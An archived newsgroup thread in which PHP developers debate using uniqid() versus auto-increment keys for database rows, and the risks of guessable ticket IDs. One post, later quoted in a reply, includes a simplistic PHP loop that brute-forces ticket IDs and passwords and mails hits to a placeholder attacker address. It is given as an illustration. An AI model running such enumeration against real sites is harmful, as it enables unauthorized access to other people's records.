uniqid as a db unique row identifyer

[MrBoom]

Does using uniqid seem a reasonable way of generating a unique row
identifyer in a db table? It's *highly* unlikely that two ids are
going to be generated in the same microsecond, but if they are,
setting lcg as true should eliminate any problems I'd have thought.
Anyway, these are my thoughts, do people agree?

[André Næss]

Re: uniqid as a db unique row identifyer

MrBoom:
[color=blue]
> Does using uniqid seem a reasonable way of generating a unique row
> identifyer in a db table? It's *highly* unlikely that two ids are
> going to be generated in the same microsecond, but if they are,
> setting lcg as true should eliminate any problems I'd have thought.
> Anyway, these are my thoughts, do people agree?[/color]

Why would you want to do that when an auto-incrementing number is
*guaranteed* to be unique and is much simpler?

André Næss

[Shawn Wilson]

Re: uniqid as a db unique row identifyer

André Næss wrote:[color=blue]
>
> MrBoom:
>[color=green]
> > Does using uniqid seem a reasonable way of generating a unique row
> > identifyer in a db table? It's *highly* unlikely that two ids are
> > going to be generated in the same microsecond, but if they are,
> > setting lcg as true should eliminate any problems I'd have thought.
> > Anyway, these are my thoughts, do people agree?[/color]
>
> Why would you want to do that when an auto-incrementing number is
> *guaranteed* to be unique and is much simpler?[/color]

I've done this before when I wanted unique ids that couldn't be easily guessed
by potential hackers, or where I didn't want to give away the size of a
database.

http://domain.com/support.php?ticketid=10

http://domain.com/support.php?ticketid=11

http://domain.com/support.php?ticketid=12

tells the user they're dealing with a small-potatos company.

http://domain.com/support.php?ticketid=092386926834

http://domain.com/support.php?ticketid=440265495743

http://domain.com/support.php?ticketid=215764896614

doesn't give them any idea how big the company/website is.

Regards,
Shawn
--
Shawn Wilson
shawn@glassgian t.com

http://www.glassgiant.com

[André Næss]

Re: uniqid as a db unique row identifyer

Shawn Wilson:
[color=blue]
> André Næss wrote:[color=green]
>>
>> MrBoom:
>>[color=darkred]
>> > Does using uniqid seem a reasonable way of generating a unique row
>> > identifyer in a db table? It's *highly* unlikely that two ids are
>> > going to be generated in the same microsecond, but if they are,
>> > setting lcg as true should eliminate any problems I'd have thought.
>> > Anyway, these are my thoughts, do people agree?[/color]
>>
>> Why would you want to do that when an auto-incrementing number is
>> *guaranteed* to be unique and is much simpler?[/color]
>
> I've done this before when I wanted unique ids that couldn't be easily
> guessed by potential hackers, or where I didn't want to give away the size
> of a database.[/color]

Then start the incrementing number at 1122342345365 :)

But in the end you should strive to find good keys. I'm currently working on
importing data from an external datasource into an existing webshop. If
both system had actually used natural keys this wouldn't be hard, but due
to the current use of surrogate keys it's a real pain.

André Næss

[Shawn Wilson]

Re: uniqid as a db unique row identifyer

André Næss wrote:[color=blue]
>
> Shawn Wilson:
>[color=green]
> > André Næss wrote:[color=darkred]
> >>
> >> MrBoom:
> >>
> >> > Does using uniqid seem a reasonable way of generating a unique row
> >> > identifyer in a db table? It's *highly* unlikely that two ids are
> >> > going to be generated in the same microsecond, but if they are,
> >> > setting lcg as true should eliminate any problems I'd have thought.
> >> > Anyway, these are my thoughts, do people agree?
> >>
> >> Why would you want to do that when an auto-incrementing number is
> >> *guaranteed* to be unique and is much simpler?[/color]
> >
> > I've done this before when I wanted unique ids that couldn't be easily
> > guessed by potential hackers, or where I didn't want to give away the size
> > of a database.[/color]
>
> Then start the incrementing number at 1122342345365 :)[/color]

Still gives away volume of tickets over time and makes ids guessable by
hackers. I'm not super-paranoid or anything, but I prefer to give people no
information by default, then give them just what they need, rather than give
them everything, then take away what's a security risk.

http://domain.com/support.php?ticketid=1122342345365

...a weeks goes by...

http://domain.com/support.php?ticketid=1122342345372

= 7 tickets per week

Or, if you were trying to read other people's tickets (or whatever else), you
could do something like this:

for($i=11223423 45365;$i<112234 2345465;++$i) {
foreach($arrDic tionary as $word)
if
(is_real_page(" http://domain.com/support.php?tic ketid=112234234 5365&password=$ word"))
mail("badguy@ba dguy.com", "We're in", $i." is a real ticket # with
password $word");
}

This is obviously a simplistic example. Any decent system should have some kind
of reporting/blacklisting script set up for this kind of approach, but the point
is, if you're trying to get in it's a lot easier if you know the first step.
[color=blue]
> But in the end you should strive to find good keys. I'm currently working on
> importing data from an external datasource into an existing webshop. If
> both system had actually used natural keys this wouldn't be hard, but due
> to the current use of surrogate keys it's a real pain.[/color]

I would agree that if the key is unlikely to ever be presented to the user, then
the simpler the better. I just brought up the above examples as practical uses
for non-sequential unique ids.

Regards,
Shawn
--
Shawn Wilson
shawn@glassgian t.com

http://www.glassgiant.com

[Chung Leong]

Re: uniqid as a db unique row identifyer

I don't know about MySQL, but in MS SQL the increment can be greater than 1.

If you have a situation where you need to display private info without the
visitor logging in, I would take the primary key from the database, append a
string of random characters, then pass it through md5() or sha1() and store
the resulting hash in another column.

What you get from uniqid() isn't unguessable, since it's based on the system
time. All a potential hacker has to do is scan through the particular time
range during which the id might have been generated.

Uzytkownik "Shawn Wilson" <shawn@glassgia nt.com> napisal w wiadomosci
news:402A529C.C 799F1B2@glassgi ant.com...[color=blue]
> André Næss wrote:[color=green]
> >
> > Shawn Wilson:
> >[color=darkred]
> > > André Næss wrote:
> > >>
> > >> MrBoom:
> > >>
> > >> > Does using uniqid seem a reasonable way of generating a unique row
> > >> > identifyer in a db table? It's *highly* unlikely that two ids are
> > >> > going to be generated in the same microsecond, but if they are,
> > >> > setting lcg as true should eliminate any problems I'd have thought.
> > >> > Anyway, these are my thoughts, do people agree?
> > >>
> > >> Why would you want to do that when an auto-incrementing number is
> > >> *guaranteed* to be unique and is much simpler?
> > >
> > > I've done this before when I wanted unique ids that couldn't be easily
> > > guessed by potential hackers, or where I didn't want to give away the[/color][/color][/color]
size[color=blue][color=green][color=darkred]
> > > of a database.[/color]
> >
> > Then start the incrementing number at 1122342345365 :)[/color]
>
> Still gives away volume of tickets over time and makes ids guessable by
> hackers. I'm not super-paranoid or anything, but I prefer to give people[/color]
no[color=blue]
> information by default, then give them just what they need, rather than[/color]
give[color=blue]
> them everything, then take away what's a security risk.
>
> http://domain.com/support.php?ticketid=1122342345365
> ..a weeks goes by...
> http://domain.com/support.php?ticketid=1122342345372
>
> = 7 tickets per week
>
> Or, if you were trying to read other people's tickets (or whatever else),[/color]
you[color=blue]
> could do something like this:
>
> for($i=11223423 45365;$i<112234 2345465;++$i) {
> foreach($arrDic tionary as $word)
> if
>[/color]
(is_real_page(" http://domain.com/support.php?tic ketid=112234234 5365&password
=$word"))[color=blue]
> mail("badguy@ba dguy.com", "We're in", $i." is a real ticket # with
> password $word");
> }
>
> This is obviously a simplistic example. Any decent system should have[/color]
some kind[color=blue]
> of reporting/blacklisting script set up for this kind of approach, but the[/color]
point[color=blue]
> is, if you're trying to get in it's a lot easier if you know the first[/color]
step.[color=blue]
>[color=green]
> > But in the end you should strive to find good keys. I'm currently[/color][/color]
working on[color=blue][color=green]
> > importing data from an external datasource into an existing webshop. If
> > both system had actually used natural keys this wouldn't be hard, but[/color][/color]
due[color=blue][color=green]
> > to the current use of surrogate keys it's a real pain.[/color]
>
> I would agree that if the key is unlikely to ever be presented to the[/color]
user, then[color=blue]
> the simpler the better. I just brought up the above examples as practical[/color]
uses[color=blue]
> for non-sequential unique ids.
>
> Regards,
> Shawn
> --
> Shawn Wilson
> shawn@glassgian t.com
> http://www.glassgiant.com[/color]

[MrBoom]

Re: uniqid as a db unique row identifyer

"Chung Leong" <chernyshevsky@ hotmail.com> wrote in message news:<FN6dneuXV c5mVbfdRVn-sw@comcast.com> ...
[color=blue]
> What you get from uniqid() isn't unguessable, since it's based on the system
> time. All a potential hacker has to do is scan through the particular time
> range during which the id might have been generated.[/color]

But surely setting lcg as true would make it unguessable?

[Shawn Wilson]

Re: uniqid as a db unique row identifyer

Chung Leong wrote:[color=blue]
>
> I don't know about MySQL, but in MS SQL the increment can be greater than 1.[/color]

Any size increment would be easy to spot by generating 2 or 3 requests in a
row(as in a ticket system).
[color=blue]
> If you have a situation where you need to display private info without the
> visitor logging in, I would take the primary key from the database, append a
> string of random characters, then pass it through md5() or sha1() and store
> the resulting hash in another column.[/color]

Yes, that would be more secure. I'm not suggesting anyone ever use only
uniqid() in lieu of passwords. But if you just want a quick unique id to
prevent giving away information _easily_, I think it's a good choice. Use a
prefix, set lcg to true, and run it through md5() if it's very
private/important.
[color=blue]
> What you get from uniqid() isn't unguessable, since it's based on the system
> time. All a potential hacker has to do is scan through the particular time
> range during which the id might have been generated.[/color]

Assuming they were trying to get a particular request and you didn't use lcg,
yes. But it still requires that they expend a lot of time just to get the first
step (knowing the id). The problem I have with incremental primary keys as
user-visible identifiers is that they give hackers a (potentially) huge number
of starting points. In other words, they could try the 10 most common passwords
on 1000 tickets/accounts/whatever. And they'd be likely to get one or more
hits.

Regards,
Shawn
--
Shawn Wilson
shawn@glassgian t.com

http://www.glassgiant.com

[R. Rajesh Jeba Anbiah]

Re: uniqid as a db unique row identifyer

Shawn Wilson <shawn@glassgia nt.com> wrote in message news:<402A529C. C799F1B2@glassg iant.com>...[color=blue]
> André Næss wrote:[color=green]
> >
> > Shawn Wilson:
> >[color=darkred]
> > > André Næss wrote:
> > >>
> > >> MrBoom:
> > >>
> > >> > Does using uniqid seem a reasonable way of generating a unique row
> > >> > identifyer in a db table? It's *highly* unlikely that two ids are
> > >> > going to be generated in the same microsecond, but if they are,
> > >> > setting lcg as true should eliminate any problems I'd have thought.
> > >> > Anyway, these are my thoughts, do people agree?
> > >>
> > >> Why would you want to do that when an auto-incrementing number is
> > >> *guaranteed* to be unique and is much simpler?
> > >
> > > I've done this before when I wanted unique ids that couldn't be easily
> > > guessed by potential hackers, or where I didn't want to give away the size
> > > of a database.[/color]
> >
> > Then start the incrementing number at 1122342345365 :)[/color]
>
> Still gives away volume of tickets over time and makes ids guessable by
> hackers. I'm not super-paranoid or anything, but I prefer to give people no
> information by default, then give them just what they need, rather than give
> them everything, then take away what's a security risk.[/color]

IMHO, avoiding auto_incremente d key is a mess. Probably may
consider crypting the query string.
eg. $fake_ticket_id = substr(md5($rea l_ticket_id), 0, 5) .
dechex($real_ti cket_id). substr(md5($rea l_ticket_id), 5, 5);

In this case, we may get back $real_ticket_id from the
$fake_ticket_id and can also check the validity of the query string.

--
"Success = 10% sweat + 90% tears"
If you live in USA, please support John Edwards.
Email: rrjanbiah-at-Y!com

[Chung Leong]

Re: uniqid as a db unique row identifyer

Don't know. The function is designed to guarantee uniqueness, not
randomness. For security purpose I prefer to use something that was
designed--and more importantly, was tested and analysed--with that in mind.

The primary key doesn't need to be random if you're not exposing it, that is
my point. If you need some kind of a random tracking string, then generate
one and stick it in the database.

Uzytkownik "MrBoom" <andy_isherwood @hotmail.com> napisal w wiadomosci
news:9b6a13b2.0 402120148.551fb 66f@posting.goo gle.com...[color=blue]
> "Chung Leong" <chernyshevsky@ hotmail.com> wrote in message[/color]
news:<FN6dneuXV c5mVbfdRVn-sw@comcast.com> ...[color=blue]
>[color=green]
> > What you get from uniqid() isn't unguessable, since it's based on the[/color][/color]
system[color=blue][color=green]
> > time. All a potential hacker has to do is scan through the particular[/color][/color]
time[color=blue][color=green]
> > range during which the id might have been generated.[/color]
>
> But surely setting lcg as true would make it unguessable?[/color]